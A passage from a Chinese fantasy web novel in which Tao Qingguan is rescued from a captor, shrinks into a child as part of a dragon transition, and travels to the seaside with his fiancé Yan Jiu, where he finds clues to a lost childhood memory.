“他在挑衅,死不悔改,不用管他, 找个干净点的地方休息,等宴氿处理好,就可以回家了。” “行吧。” 陶清观环视四周,都挺干净的,拆得很干净,他索性席地而坐,研究起手上的镣铐。 镣铐是铁做的,闪烁着冰冷的色泽,他的手腕被牢牢铐住,中间没留一点空隙,他试着扯了两下,结果自然是扯不动。 倏然,陶清观感觉镣铐下有种针扎感,像是有什么东西注射进他体内,紧接着那种头晕目眩的感觉接踵而至,眼前一阵阵发黑。 他低咒一声,那个死变态果然留了一手。 陶清观甩甩脑袋,努力保持清醒,他目光梭巡,找到一块尖锐的石头,他举起双手,用力砸下去,石头从中碎成两半,可镣铐上不过多出点擦痕。 小渡注意到陶清观的身体变化,急得蹦出来,它蹭了蹭陶清观的脸颊,安抚道:“再坚持一下,哪里不舒服?我去叫宴氿。” 陶清观脑袋晕乎乎的,原本动一下都疼的伤口,这会儿也没什么感觉,他知道这不是什么好兆头,努力保持清醒。 他向宴氿所在的方向望去,沉烟滚滚,惨叫声接连不断,对方估摸着是打上头了。 陶清观扯了下唇角,心底无语。 能不能关心一下伤员,他要噶了! 就在小渡准备冲入混战时,汽车发动机的声音响起,陶清观的目光瞬间被吸引,只见黑压压的一排重型车向他这边开来,没一会儿就停在他的面前。 为首的那辆车车门打开,陶笠鹤从中走了下来,看见灰不溜秋的陶清观,他心跳得漏了一拍,赶忙大步跑过来。 “哪伤着了?还能听清我说话吗?这是几?”陶笠鹤比了个三在陶清观眼前晃悠,脸上写满担忧,看陶清观的目光像是在看被人欺负的小傻子。 陶清观嘴角抽搐,有气无力地推开陶笠鹤的手,“三。” “我没怎么受伤,就是血被抽得有点多,还有,他好像给我打了麻药之类的东西。” 陶清观说着,抬手要敲自己的脑袋,试图让自己清醒一点,陶笠鹤赶忙伸手将人拦住。 “没事,回去好好养养。”陶笠鹤老当益壮,轻轻松松将陶清观抱起来,他招呼着医疗队过来,然后带陶清观走到整理出的空地上。 五六个人抬着仪器赶过来,将陶清观围成一圈,没一会儿,陶清观手里就被塞了好几瓶口服液,他也不见外,给一瓶喝一瓶。 其中一位医生给陶清观处理伤口,那手法看得陶清观眼皮子直跳,他倒吸一口凉气,问道:“你是军医出生吗?” 那位医生一愣,回答道:“没错,我跟着上过战场,你尽管放心。” “嗯……” 陶清观默默把脸瞥过去,不敢再看,军医有个明显的特点,作风比普通医生彪悍,首先管活,毕竟活着才有资格被细菌感染,技术那自然也是没话说,能用最简单的工具干最精细的活,速度也不是一般的快。 比如现在。 “要缝两针,正好你现在反应迟钝,不用打麻醉。” 医生摁住陶清观的胳膊,他这是通知,连准备的时间都没给陶清观,直接一针戳下去,三两下将伤口缝上。 陶清观后槽牙咬紧,暗地把害他沦落至此的男人骂了个狗血淋头。 一旁陶笠鹤见陶清观还挺活泼的,心底松了口气,他指挥着右边的人说道:“赶紧把他手腕上的东西取下来。” 陶清观这会儿已经麻了,各种意义上都麻了,他任由一堆人在他旁边折腾,镣铐没几分钟就取了下来,露出一截青青紫紫的手腕。 医生抓着陶清观的手腕消毒,眉头紧锁,“你需要回去验血,现在没办法分辨注射到你体内的是什么东西。” 陶清观这会儿已经缓过来,身体的不适感在减退,但保险起见,他还是让医生抽了一管子血去化验。 一天被这么多次血,陶清观快对抽血这个词ptsd了。 他揉揉还有点晕的脑瓜子,忽然看见有一人向他们这边拔足狂奔,陶清观眨了眨眼,对方在离他们还有五六米时,被宴氿抽回出去,空中回响着对方破碎的呐喊声。 陶清观扭头望向陶笠鹤,问道:“他刚刚说了什么?” 陶笠鹤皱眉,“什么弹,完蛋?他在挑衅?” “有可能。”陶清观一手抵着下巴,唾弃道:“死不悔改。” 陶笠鹤冷哼一声,“他肯定是完蛋了,这一次他绝不可能再逃走。” 陶清观附和着点头。 看着无动于衷的陶笠鹤等人,男人拼命呐喊,“心脏!炸弹!你们都不管吗!?” 可惜他的声音被掩盖大半,断断续续根本传不出去。 男人面如死灰,他已没有再挣扎的力气,双目涣散的躺在坑地。 宴氿化为人形,踱步向男人走近,飞扬的灰尘仿佛有生命般避开他的衣袍,他一袭白衣,与周围的废墟好像不在一个图层。 他在男人身旁站定,垂眸俯视着男人,眼底是冰冷的杀意,“黄芪行,43岁,在三十岁之前,你一直是一个普通的上班族,是谁带你踏进雨师的门槛。” 黄芪行艰难地转过头,他想笑,但已经没有力气,“这是我的机遇,这也犯法?特管局垄断雨师修炼的方法,让那些民间的天才泯然于众,一群道貌岸然的家伙。” 宴氿眸光扫过黄芪行的脸,他只在乎对方还有没有同伙,至于对方喊得不公平,除了可笑,他心底再升不起别的波澜。 据他了解,特管局每年都会在各个领域进行筛查,发现有天赋的孩子会询问对方的意愿,再决定是否培养,像黄芪行这种后天有机遇的,肯定没少接过特管局抛出的橄榄枝,拒绝的是他,现在埋冤的也是他,自私自利的小人罢了。 宴氿抬手抽出一旁的钢筋,他随手甩了两下,在黄芪行惊恐的目光中,插进对方的心脏。 直到心脏被搅成烂泥的那一刻,黄芪行瞪大的眼睛中仍写着不敢置信,他不明白宴氿是怎么敢的,难道人命在对方眼中就如此不值一提吗? 宴氿扫过死不瞑目的黄芪行,眼底毫无波澜,他挂在腰上的海螺传来玄北抱怨的声音。 “我壳都炸黑了,你要怎么赔我。” “下次请你吃饭。” 宴氿反手将海螺挂断,大步流星向陶清观走去,越是靠近,他的脚步越发急切,瞳孔中倒映出陶清观的身影,看着对方身上缠着好几处绷带,宴氿唇角绷成一条直线。 还是下手轻了。 他走上前,避开陶清观的伤口,弯腰将人抱起,内心歉疚,“抱歉,我来晚了。” “你来得刚刚好。”陶清观拍拍宴氿的后背,关心道:“你也吸了那些有毒气体,等会儿记得也做个检查。” 宴氿:“好。” 这会儿陶清观让他做什么,他都能答应。 陶笠鹤在一旁看得牙酸,又不好多说什么,毕竟人是宴氿找到的,他蹙着眉,憋屈坏了。 “要不……先回去。”陶笠鹤低咳一声,打断‘含情脉脉’的两人,“小观还需要进行一次全身检查。” 事关陶清观身体健康,宴氿一口答应,“行。” 陶清观勾着宴氿的颈脖向后看,问道:“那个变态抓起来了吗?” 宴氿不着痕迹地侧过身子,挡住裹尸袋,“嗯,不会再有人抓你了。” 陶清观抬眸望着宴氿的眼睛,那里写满认真,他眉眼舒展开,弯起一个弧度,他抬手揉了揉宴氿的脑袋,开口道:“这只是个意外,而且你找我了,不是么。” 宴氿不吭声,抱着陶清观往车上走。 陶清观这会儿手脚还有点没力气,干脆靠在宴氿身上,反正他们都订过婚了,搂搂抱抱很正常。 一辆辆汽车往回开,路上,陶清观开始还有精力跟宴氿和陶笠鹤说笑,但没过多久,他的呼吸就变得急促起来,连带着面颊也飘起潮红,情况急转直下。 陶笠鹤赶忙让车子加快速度,可陶清观的情况还在不断恶化,待赶到医院时,陶清观已经陷入昏迷状态。 医护人员推着陶清观进手术室,宴氿等人被关在门外。 望着亮起的那张红灯,宴氿垂在身侧的手攥紧,他在心底道:“是我想的那样吗?” 小渡的声音跟着响起,“没错,他的身体本来就差,又被反复刺激,提前进入过渡期了。” 过渡期是幼龙成年的一个过程,迈过过渡期,就代表着成年,但过渡期对正常小龙来说都是一个万分凶险的过程,更别说陶清观这样的。 按照小渡的预测,陶清观少说还有几十年才会迈入过渡期,他们有充足的时间为陶清观养身体,可现在计划全被打乱了。 听到肯定的回答,宴氿缓缓吐出一口气,问道:“他过龙门成功的概率有多少。” 小渡沉默了片刻,“他现甚至无法自由切换形态,而龙门只有龙能过。” 宴氿强迫自己冷静下来,分析道:“等他稳定一点,应该就能变成龙形,我带他回海里,龙门可以由我带他过。” 小渡不说话了,若是过龙门能由其他龙代替,也不会有那么多龙折在这上面,可现在除了这样,别无他法。 一个多小时过去,手术室的灯光转为绿色。 陶笠鹤一个箭步冲上去,询问出来的医生,“怎么样了?” 医生摇摇头,陶笠鹤的心跟着凉了半截。 第115章 第 115 章 变小的陶囡囡 “我们尽力了, 但始终找不到他发烧的原因。”医生眉头紧锁,有些无奈,“给他打了退烧针, 作用也不明显, 只能先物理降温,好在他的体温没到危险的地步, 先转入病房密切观察吧。” 陶笠鹤面色沉沉,“好。” 孩子在他眼皮子底下出这种事,陶笠鹤心底懊恼, 他到现在还没告诉徐婉晴,这接二连三的状况,更是让他不知道从何说起。 不管怎么样,得先看看陶清观的状况,陶笠鹤大步走向病房, 他心事重重,都没注意到身旁还走着一个宴氿。 病房内。 护士们在连接各种仪器,躺在病床上的陶清观小脸通红, 双眸紧闭, 皱着眉头,似乎陷入噩梦之中。 陶笠鹤满眼心疼, 他望着陶清观身上连着的一根根管子, 眼眶不自觉红了一半,恨不得替陶清观遭这个罪。 宴氿在床边站定, 他抬手撩起陶清观耳边的碎发, 手背贴着对方滚烫的脸颊。 不能再了。 “我要带他走。”宴氿望向陶笠鹤,语气说是商量,但更像是在通知, “他是因为龙族的血脉才会变成这副模样,想要治好,必须回海里。” 陶笠鹤哑然,他知道宴氿说的是实话,可要他这么放陶清观离开,他又放心不下,几番斟酌,他开口道:“需要多长时间?我能不能跟着一起去?” “时间不确定。”宴氿道:“你适应不了深海,去了也没用。” 陶笠鹤眉间下压,仔细权衡,“你有多少把握?” 宴氿没正面回答,只是道:“我不会让他出事。” 他眸光平静,对上陶笠鹤的目光,两束视线似在空气中交锋,又很快错开。 陶笠鹤叹了口气,语气一下子低落许多,“我知道了,你需要什么东西,我现在派人去准备。” 宴氿也不客气,随口报了些需要的东西,陶笠鹤打电话给下属,让人把东西送来。 等待的时候,陶清观发出几声不安的呓语,在场的二人立即一边一个,神色关切的围在陶清观身旁。 “疼……” 陶清观身子蜷缩起,汗水打湿被褥,眼角泛起生理性泪水,他迷迷糊糊地睁开眼,被泪水蒙住的视线只能看到模糊的光影。 “好痛。” 两个字像踩在人心头上,陶清观对疼痛的耐受度算是比较高的那一类,平常受伤嘻嘻哈哈的就过去了,现在这样宴氿和陶笠鹤怎么可能不心疼。 宴氿柔声问道:“哪里疼?” “……骨头。”陶清观痛清醒了,他死死捏着自己的胳膊,身体蜷成一只虾米,骨头缝里像是刀片在削,将他的骨头上肆意雕刻,又像有千万只蚂蚁在爬,难受得他想满地打滚。 陶笠鹤看不下去,“我去叫医生。” “没用,我来处理。” 宴氿制止,他一手搂起陶清观,另一只手捏住陶清观下颌,强迫对方张开嘴,他对陶笠鹤道:“纱布拿来。” 陶笠鹤意会,将干净的纱布叠整齐,塞进陶清观嘴里,让对方咬着,防止陶清观痛极了意外咬到舌头。 宴氿轻拍陶清观后背,安抚道:“放轻松,深呼吸,再忍一下,很快就不痛了。” 陶清观化形的时机比他预想的还要早,但这也是一件好事,说明陶清观对另一形态的容纳度高。 宴氿眸光微暗,心底紧绷的弦松懈了些。 陶清观满头大汗,听到宴氿的话只觉得对方在给自己画大饼,骨子里的疼痛让他暴躁,他没忍住,一脑袋撞上宴氿下颌。 哐当一声响,宴氿嘶了一声,他捂着被撞的地方,一时间哭笑不得,“怎么还恩将仇报。” 陶清观不听,他抓着宴氿的衣服,揉成皱巴巴的一团,身上的疼痛愈演愈烈,直至达到顶峰,陶清观恍惚地想着,原来人痛到极点,真的一点声音都发不出来。 紧接着疼痛如潮水般褪去,酸软感接踵而来,四肢软绵绵的,跟面条一样,完全不听指挥。 陶清观不适应地扭了扭身子,他睁开眼,和陶笠鹤的大脸对个正着。 他脑袋后仰,嫌弃地避开,嘴里嘟囔着,“凑这么近干嘛。” “你……”陶笠鹤欲言又止,欲止又言,老脸拧巴在一起,跟便秘似的。 陶清观觉得不对劲,他下意识摸摸自己,“我怎么了?” “没事。”宴氿帮陶清观擦汗,动作放到最轻,“就是变小了。” “……啊!?” 陶清观垂死病中惊坐起,若不是有宴氿扶着,他差点一头栽下去。 他抓住宴氿的衣袖,这下陶清观看到自己的手,原本修长的手指短了一截,他又低头去看双腿,也是短短的,身高一下缩水几十厘米。 陶清观小脸皱在一起,问道:“我现在看着像几岁?” “五六岁。”陶笠鹤抢答,说得信誓旦旦,“你五岁就长这样,不过现在胖点。” 陶清观:“……”最后一句其实可以不加。 宴氿揉了揉陶清观毛茸茸的脑袋,安慰道:“过段时间就会恢复正常,不用担心。” 陶清观眼神幽幽,“过段时间是多久?” “等这里长好。”宴氿食指轻轻碰了下陶清观的额头。 甫一被碰到,陶清观差点原地蹦起,他赶忙捂住被碰的地方,跟宴氿拉开距离。 手掌下是凸起的小包,一边一个十分对称,陶清观眼角挂着泪花,问道:“这是什么东西?” 宴氿道:“龙角,你的身体会按照龙族的发育过程重新发育一遍,不过这个过程很快,短则一两个星期,长则一个月上下,等你能完全控制龙形,就会恢复原样。” 听到这话,陶清观安心了,他差点以为自己要变成某某名侦探,当一个万年小学生,不对,他这个年纪该上幼儿园。 陶清观被宴氿抱到腿上,病号服穿得松松垮垮,宴氿索性帮他在后边打了个结系紧。 周遭的事物一下子变大,陶清观有点不适应,他晃着被裤腿遮住的脚丫,开口三连问:“那我怎么上班?我这个月全勤怎么办?下个月全勤怎么办?” 陶笠鹤大手一挥,阔气道:“我给你。” 他望着缩小版陶清观,心痒痒的,他家囡囡小时候粉雕玉琢,白白净净,这会儿看着,陶笠鹤心底按耐不住地想抱过来。 他睨了宴氿一眼,心底不爽,有点碍事了。 陶笠鹤低咳一声,对宴氿道:“东西应该送到了,你去看看还缺什么。” 宴氿看破陶笠鹤的小心思,但没多说什么,他把陶清观抱回床上,开口道:“我们要回一趟海里,具体情况我路上跟你解释。” 陶清观点脑袋。 送来的东西在病房外面,宴氿踱步离开。 房间里就剩下陶笠鹤和陶清观二人,这下陶笠鹤装也不装了,他一把抱起陶清观,贴着对方的小脸蛋蹭了两下,“乖崽,真可爱,让爷爷抱抱。” 扎人的胡须来回磨蹭,陶清观抵住陶笠鹤的脸试图反抗,可这会儿他没什么力气,压根抝不过陶笠鹤。 陶笠鹤越蹭越稀罕,他亲了口陶清观肉嘟嘟的脸蛋,老脸笑成一朵菊花,“你小时候就喜欢爷爷抱,谁来都不好使,他们就只有干羡慕的份。” 说着,他又亲亲陶清观的脸蛋。 陶清观反抗无效,小脸上写满生无可恋,他啪地一下无助陶笠鹤的嘴,控诉道:“你胡子扎人。” 陶笠鹤握住陶清观的小手,贴着脸蹭蹭,乐呵呵道:“好,爷爷回去就刮胡子,爷爷陪你到海边好不好?” 危! 陶清观心底警铃大作,“不用,宴氿会照顾好我。” 面对小娃娃,陶笠鹤不自觉夹起嗓子,“肯定是爷爷跟着更放心呀。” 陶清观起了一身鸡皮疙瘩,这时,门从外面打开,看见宴氿进来,陶清观连忙向对方伸出手。 救驾,快救驾。 陶笠鹤不撒手,又捏捏陶清观的脸蛋。 宴氿见此,脚步上前,把陶清观从陶笠鹤怀里拯救出来。 陶清观靠在宴氿怀里,心有余悸。 太恐怖了,直到恢复正常前,他绝对不要和陶笠鹤两人共处一室。 而陶笠鹤意犹未尽,望着被抱走的陶清观满眼惋惜,他不满意宴氿进来打断,可陶清观向着人家,他又不好多说什么。 陶笠鹤在心底轻啧一声,面上端起正经的架子,“那什么,你们打算什么时候走?” 陶清观仰起头,“立刻马上。” “嗯。”宴氿顺从道,“现在就走。” 陶笠鹤咂嘴,“出发前总得换身合适的衣服,祖宅那边应该还有小观五岁时的衣服,不过拿也麻烦,现在去买点。” 他越说越来劲,陶清观直觉大事不妙,开口道:“我又当不了几天小孩,随便两套凑合一下就行。” 可惜他抗议无效,陶笠鹤搜罗来一大堆衣服,有背带裤,带尾巴的卡通装,还有动物连体衣,甚至宴氿都顺手拿了几件。 望着助纣为虐的宴氿,陶清观面无表情。 他就知道宴氿这个之前一直想当他爹的家伙,不会像表现的那么人畜无害,这不就露出马脚了。 宴氿说得冠冕堂皇,“多带几件,防止出意外,路上没得换。” 陶清观冷笑,“这就是你们给我带几十套衣服的理由?” 宴氿帮陶清观整理帽兜,他顺手捏了下帽兜上的猫耳朵,发出叽一声,“没事,不占地方,再多一倍我也能装下。” 陶笠鹤附和:“你衣服小,好带。” 陶清观无语,是这个问题吗? 他望着脚下用力一跺还会发光的鞋子,深感无力,他只是身体变小,又不是变成弱智,为什么会觉得他会喜欢这些东西。 “来。”宴氿把小水壶挂在陶清观脖子上,他摁了下杯子上的摁钮,水壶上的叶子立即转悠起来,“看,能当电风扇。” “真可爱。”一直没动静的小渡突然冒出来,夹着嗓子道:“回海里,我带宝宝找宝藏好不好?” 陶清观默默闭上眼睛。 病入膏肓,没救了,都没救了。 宴氿收拾好东西,做足准备后,甩掉陶笠鹤。 他化为龙形带陶清观飞向天空,贴心地用灵挡住迎面袭来的风,为陶清观讲述目前的情况,以及回海里的原因。 陶清观若有所思,“所以说我得跃过龙门才算成功?” 宴氿:“差不多,你尽力就行,越不过去也没事,带你回海里,主要是那边的环境更适合龙生长。” “嗯。” 陶清观对目前的处境蛮乐观的,他好奇地追问道:“龙门长什么样?在哪里?是不是鲤鱼跃过龙门也能变成龙或者蛟?” 第116章 第 116 章 陶清观:你个XX 宴氿一一回答陶清观的问题, “龙门是龙族成年的一项考验,只会在特定的时间点出现,而且出现的地点并不固定, 一般在海域中央。” “所以不存在跃过龙门就能成龙的说法, 更何况龙门出现时,周围的鱼群会本能地逃离, 那一片都会成为真空地带。” 陶清观边听边点头,他盘着腿,怀里抱着水壶, 像个不倒翁。 小渡被萌得做西子捧心状,它钻出来,在陶清观身边晃悠,顺带抢宴氿台词,“龙门这个东西, 连龙族自己都不想看见,特别麻烦,不过别担心, 你去走个过场就行。” 它栖在陶清观肩膀上, 尾巴摇得跟狗似的,小渡原本跟陶清观的手差不多大, 现在它待在陶清观身旁, 都快跟陶清观的脸差不多大了。 下边的宴氿听着小渡上扬的尾音,眼底浮现无语, 他清楚地记得这玩意说过, 龙要是连龙门都过不去,跟蛇有什么区别,现在倒知道改口了。 不过也能理解, 大概是所有生物看到早产儿都会下意识的担忧。 想到过龙门的凶险,宴氿面上的笑意逐渐收敛,龙门已有数百年没有出现,他心底有一丝侥幸,若陶清观是特殊的,不需要走龙门那一遭就好了。 陶清观完全不知道身旁一龙一传承的担忧,他被小渡的尾巴蹭得痒痒的,他偏过脑袋,伸手抱住小渡。 他撸了两下小渡的脑袋,突然想起什么,“对了,你不是还有一部分在海底,这次回去,能拿回来吗?” 小渡晃动的尾巴一顿,它贴着陶清观的掌心,开口道:“没有哦,‘我’全在这了。” 陶清观疑惑,“可宴氿不是说……” “那小屁孩懂什么。”小渡老气横秋,语气中满是嫌弃。 陶清观眨了眨眼,心底感慨,用小屁孩形容宴氿这个老东西,也就小渡说得出口。 他抬手拍了下龙背,想看看宴氿的反应。 可这一次,宴氿停顿了好一会儿,说出的话又很敷衍,“可能是我记错了。” 陶清观感觉不太对劲,他低头望着怀里的小渡,金色的小鱼通体光滑,像金某鱼食用油的商标,他薅了一把小渡的尾巴,换了个话题,“那我们去找宝藏。” 正好他小金库空了。 说起这个小渡就来劲了,把自己知道龙的藏宝库抖了个干净,其中还包括一两个宴氿藏东西的地点。 事情隔的太久,宴氿自己都不记得了,也亏小渡能把这么多地点记下。 听着小渡的描述,陶清观感觉世界首富在向自己招手,他嘿嘿傻笑,抱着小渡倒在宴氿身上打滚。 大概是因为变小,又或许是太累,没聊多久,陶清观就迷迷糊糊睡着了。 听到逐渐平缓的呼吸声,宴氿放慢飞行速度,小渡也在陶清观怀中安静下来。 等陶清观再次醒来,他们已经落地。 他睁开眼,发现自己枕在宴氿肩膀上,陶清观下意识摸了摸自己的嘴角。 很好,是干的,没流口水。 他揉了揉眼睛,抬起头,迎面出来一阵暖洋洋的风,风中夹杂着海洋的气息,望向周围,宴氿抱着他走在街道上,身旁都是来往的行人,一个个穿着短袖裙子,看起来十分清凉。 陶清观低头看了眼自己,卫衣不知道什么时候被换成一件花衬衫,裤子变成了沙滩裤,脚上穿着小黄鸭凉鞋,脖子上还挂着一圈花环,他嘴角一抽,这事不用想也知道是谁干的。 “醒了,还困吗?” 宴氿换成一只手抱陶清观,方便对方打量周围,“我们已经到海边,休息一晚,明天我再带你去海里。” 他说着,抬手把陶清观脖子上的花环扶正,看着自己的杰作,宴氿十分满意,“正好在海边先玩一圈。” 陶清观推开宴氿的手,他板着小脸,拉着花环,“你给我戴这东西有什么意义吗?” 宴氿理不直气也壮,“好看啊。” 陶清观:“你自己怎么不戴!” 宴氿面色有些为难,“这个对我来说太小,只能顶头上,不能当项链。” 一句话完全抓错重点,陶清观麻了,他第N次叹气,他究竟要什么时候才能变回来。 谈话间,宴氿抱着陶清观走到海滩。 他找了块干净的沙滩把陶清观放下,然后把背着的包打开,从里面拿出一套挖沙子的工具。 陶清观措不及防被塞了个小铁桶,桶里铲子模具一应俱全,颜色跟他花衬衫十分相配。 宴氿当即掏出手机,咔嚓咔嚓对着陶清观一顿拍,热情推销道:“我这还有泡泡机,水枪,渔网,你想玩哪个。” 陶清观面无表情,他放下铁桶,拿起水枪,贴心的宴氿自然已经帮他装好水了,甚至买的都是最豪华的机关枪版。 他对准宴氿,不带丝毫犹豫地扣下扳机,水柱瞬间喷出去,给宴氿浇了个透心凉。 宴氿:“诶,手机。” 陶清观冷笑,别以为他不知道,宴氿背着他拍了多少照片,这手机不要也罢。 他举着水枪一顿扫射,宴氿‘慌忙’逃窜,看到宴氿这副模样,陶清观逐渐猖狂,直到水枪再喷不出水,他才收手,然后把水枪还给宴氿,颐指气使道。 “没水了,再去装点。” 宴氿衣服头发湿了个彻底,他也不恼,只是抬手捏了陶清观的脸蛋,便拿起水枪到一旁的洗手池灌水。 陶清观一屁股坐在沙滩上,现在是旅游淡季,这片沙滩的人并不多,能享受到宁静的海风,一眼望去细腻的沙子好像八珍糕。 有点饿了。 这时空气中飘来食物的香气,陶清观扭头,看见一个卖炒面的摊子,口水不自觉分泌,他站起身准备给自己整点吃的。 没走两步,一位身上挂着相机的大叔走到他面前,弯下腰,举着一辆玩具挖掘机推销道:“小朋友想不想拍照片,叔叔这里拍照片就送大挖机。” 陶清观礼貌拒绝,“抱歉,不用了。” 大叔不放弃,拿出展示用的相册,开口道:“你看,这些都是叔叔拍的,是不是很好看,你回去后还能拿照片跟小朋友们炫耀。” “我不想拍。” 陶清观蹙眉,余光瞥过大叔手里的相册,他眼眸倏然睁大,右边照片中的人吸引了他全部注意力。 一位身穿白裙的女人站在照片中央,她笑容灿烂,贴着怀中小男孩的脸颊,这长相陶清观这辈子都不会认错,正是徐婉晴和小时候的他。 他来过这里? 陶清观试图从回忆中扒拉,可怎么也找不到与这块海滩相关的回忆,难道说是他生病的那一次。 “真不想拍?”大叔见陶清观半天不回话,有些气馁,“那好吧,不过你家大人呢?小孩子独自在沙滩上跑可不安全,要是找不到爸爸妈妈,叔叔可以带你去广播台。” 陶清观回过神,开口道:“我朋友在那。” 他指着走过来的宴氿。 大叔失笑,“人小鬼大,什么朋友,你得叫叔叔。” 宴氿一走过来就听见这句话,他牵起陶清观的手,强调道:“我是他哥哥。” 至少辈分不能乱。 陶清观在宴氿看不见的角度翻了个白眼,他叫住要走的大叔,“等一下,叔叔可以给我看一下那张照片吗?” 大叔顺着陶清观指的方向望去,抽出一张照片,“这张吗?” 陶清观点头。 大叔看了眼照片,又看了眼陶清观,诧异道:“你跟照片上这个小孩长得真像,你们认识吗?” 陶清观胡诌,“他是我哥哥。” 大叔也没多想,将照片递给陶清观,热枕道:“这么有缘,要不小朋友你真的不拍一张?” “那就拍一张。”陶清观仰头望向大叔,乖巧道:“叔叔你能把这张照片给我吗?我们可以付钱。” 大叔顶不住陶清观眼巴巴的目光,大手一挥,“送送,不要钱。” 他拿起相机给陶清观和宴氿拍了张照片,将照片洗出来后,他连同以前那张一起交给陶清观。 大叔收了钱,要赶下一单生意,他冲陶清观挥挥手,说道:“祝你和叔叔玩得开心。” 宴氿:“……是哥哥。” 陶清观不理会宴氿,拿着照片研究,照片背后有拍摄时间,推算一下他当时虚四岁,和他生病的年龄正好对上。 看着就是个巧合,可陶清观总觉得自己漏了什么事,他对失去的记忆又产生好奇,陶清观抿了抿唇,等这一次回去,或许他可以隐晦地问问徐婉晴。 宴氿见陶清观盯着照片望半天,完全无视自己,他凑过去,挤到陶清观面前,“这张照片有什么问题吗?” 陶清观摇头,他把照片递给宴氿,说道:“你收起来,我饿了,我们去吃炒面。” 宴氿拿过照片,小小的陶清观可爱依旧,他随口说道:“可惜了,你来海边,我也没见到你,不然在你小时候我们就认识了。” 陶清观嘴角抽搐,“沙滩上小孩那么多,也没见你一个个去认识,就算我两那时候见面,多半也是一面之缘。” 宴氿想想也是,他没再提这茬,牵着陶清观走到炒面摊前,他低头问道:“吃哪个?” 陶清观:“海鲜炒面。” 宴氿对老板道:“来两份海鲜炒面,不要放辣。” “好嘞。”老板手脚利索地开始干活,嘴上招呼着,“你们父子俩长得真俊,就是不怎么像,你抱着孩子先坐,做好我给你先回去。” 宴氿:“……我们是兄弟。” 老板:“我懂,这年头就流行父子处得跟兄弟一样。” 陶清观:“噗哈哈哈。” 第117章 第 117 章 找回失去的记忆 陶清观笑得前仰后合, 宴氿拿陶清观没辙,说是舍不得说的,还得扶着点防止人笑倒过去。 他趁机搓了搓陶清观的脸蛋, 没好气地捏了一下, 父子就父子,他也没那么在意辈分, 再说现在陶清观一点大,被人误会也是正常。 宴氿选择性忽略,平常小孩叫他两, 一个叫哥哥,一个叫叔叔的事。 陶清观笑够了,身子一偏倒在宴氿腿上,从这个角度能看见远处的海岸线,阳光洒落, 海面和沙滩都亮闪闪的,海风习习,吹来祥和慵懒的气息。 不知道是不是变成龙的缘故, 陶清观看大海都带上一层滤镜, 好感度直线上升,对于明天的深海之旅, 他也没多少抗拒的感觉, 更多的是期待。 陶清观微微出神,这时一只大手拂过他的额前, 将他的碎发拨到两边, 挡住刚刚冒头的龙角。 宴氿建议道:“要不还是买顶帽子?” 陶清观摇头,“压着难受。” 说来奇怪,他自己碰没事, 但只要沾到一点其他东西,那滋味谁尝试谁知道,好在他的头发够长,勉强能遮住,不仔细看看不出来。 “反正明天就走了,将就一天。”陶清观翻了个身,趴在宴氿腿上,“就当被蚊子咬了两个包。” 宴氿不想为难陶清观,他揉了揉对方毛茸茸的脑袋,开口道:“行。” “面来咯。” 老板嘹亮的嗓门响起,端着两碗面放到桌上,香味扑面而来,这让肚子本就咕咕叫的陶清观更饿了。 陶清观拿起筷子,他手短,握着有点费力,但面对吃的,他总能表现出惊人的毅力,愣是一个人把面拔了大半。 他拿过宴氿递来的纸擦嘴,开口问道:“你订晚上休息的地方了吗?没有的话我们住那边怎么样?” 陶清观指着不远处一栋自建房,上面挂着民宿的字样,徐婉晴抱着他的那张照片背景中出现了这栋小别墅,陶清观有种预感,当年他们家应该就是住在那。 这点小事宴氿自然没有意见,吃完饭,他便带着陶清观向那边的民宿走去。 宴氿扫了眼民宿,大致猜到陶清观选这的原因,他问道:“你之前也来过这?” “不知道。”陶清观摇头,“我不记得了。” 宴氿想起陶清观曾说过的话,问道:“生病忘掉那段。” 陶清观点头。 谈话间他们来到民宿门口。 看到有客人来了,民宿老板热情迎接,现在是旅游淡季,房间自然不少,不一会儿宴氿就拿到房间的钥匙。 走进房间,是一间布置得很有当地特色的大床房,推开窗就能嗅见大海咸咸的气息,有风吹来,房间里的贝壳风铃丁零当啷的响。 宴氿担心陶清观住不习惯,将行李往外收拾,一些日用品,他都变成了陶清观常用的。 没办法,小孩子皮肤嫩,长大的陶清观还好点,小时候的陶清观跟粉面团子似的,稍微用点力就是一个印记,衣服毛躁点,蹭了一会儿皮肤就会泛红,还会起一道道印子,看着骇人。 宴氿算是明白为什么陶笠鹤会说陶清观得养得仔细,确实得仔细,红上一块陶清观看着不觉得有什么,他看着碍眼极了。 陶清观坐在沙发上望着宴氿干活,他试图帮忙,但被宴氿赶到一边,看了一会儿,他觉得无聊,从沙发上跳了下来。 “我出去溜达溜达,你放心,我不出民宿。” 宴氿嗯了一声,没有阻止,经过上次的教训,现在陶清观身上带着好几个能定位的饰品,当然这些陶清观也知道,并且也同意了。 不管是做人,还是做龙,总得有点自知之明,他小胳膊小腿的谁都打不过,还是识相点好。 陶清观推门出去,他下到一楼,在大厅看到戴着老花镜玩手机的老板,他犹豫了一下,踱步走了过去。 “叔叔好。” 陶清观垫起脚,扒拉着柜台,可惜他个子矮,再怎么努力也只露出头顶一搓毛。 老板看笑了,打开隔门让陶清观进来,弯下腰笑着问道:“怎么了小朋友?” 陶清观走到老板身旁,仰起头露出自己的脸来,他拿出照片问老板,“你有没有见过我哥哥,他很久之前也来这边玩过。” 老板接过照片,扶正老花镜仔细端详,他感叹道:“哟,你跟你哥哥张得真像。” 他皱着眉头思考了一会儿,忽然哦了一声,开口道:“见过见过,哎哟,当时闹出的动静可大了,你哥哥的父母也真是的,居然让这么小的孩子乱跑。” 老板边说边摇头,他将照片还给陶清观,望着陶清观稚嫩的脸蛋,迟疑着要不要跟小孩说这种事。 陶清观看出老板肯定知道点什么,他心一横,趴到老板腿前,撒娇道:“然后呢?哥哥是走丢了吗?” 望着陶清观圆溜溜的眼睛,家里也有小孙子的老板实在舍不得拒绝,他告诉自己就当讲故事了,接着道:“没错,当时我们住在附近的人都出来找孩子,警察也来帮忙,但一直找到天黑都没找到你哥哥的影子。” “那天晚上又刮台风,根本没法出门,只好暂停搜救,我记得当时那小夫妻两可着急了,甚至大吵了一架。” 说到这老板砸了下嘴,“第二天一早我们在岸边找到一只鞋子,正是那小孩走丢时穿的,我们都以为小孩肯定已经没救了,可临近傍晚,他忽然自己走回来了。” “他浑身湿漉漉的,还发着高烧,没人知道他怎么回来的,我是第一个发现的人,立即通知了他的父母,并把人带到医院。” 老板神神秘秘地问陶清观,“你哥哥当时嘴里一直念叨着一个字,你猜是什么?” 陶清观配合着问道:“是什么?” 有人捧场,老板顺着说下去,“是龙,他嘴里一直念叨着龙字,我猜肯定是龙王显灵,把他救回来的。” 陶清观愣住。 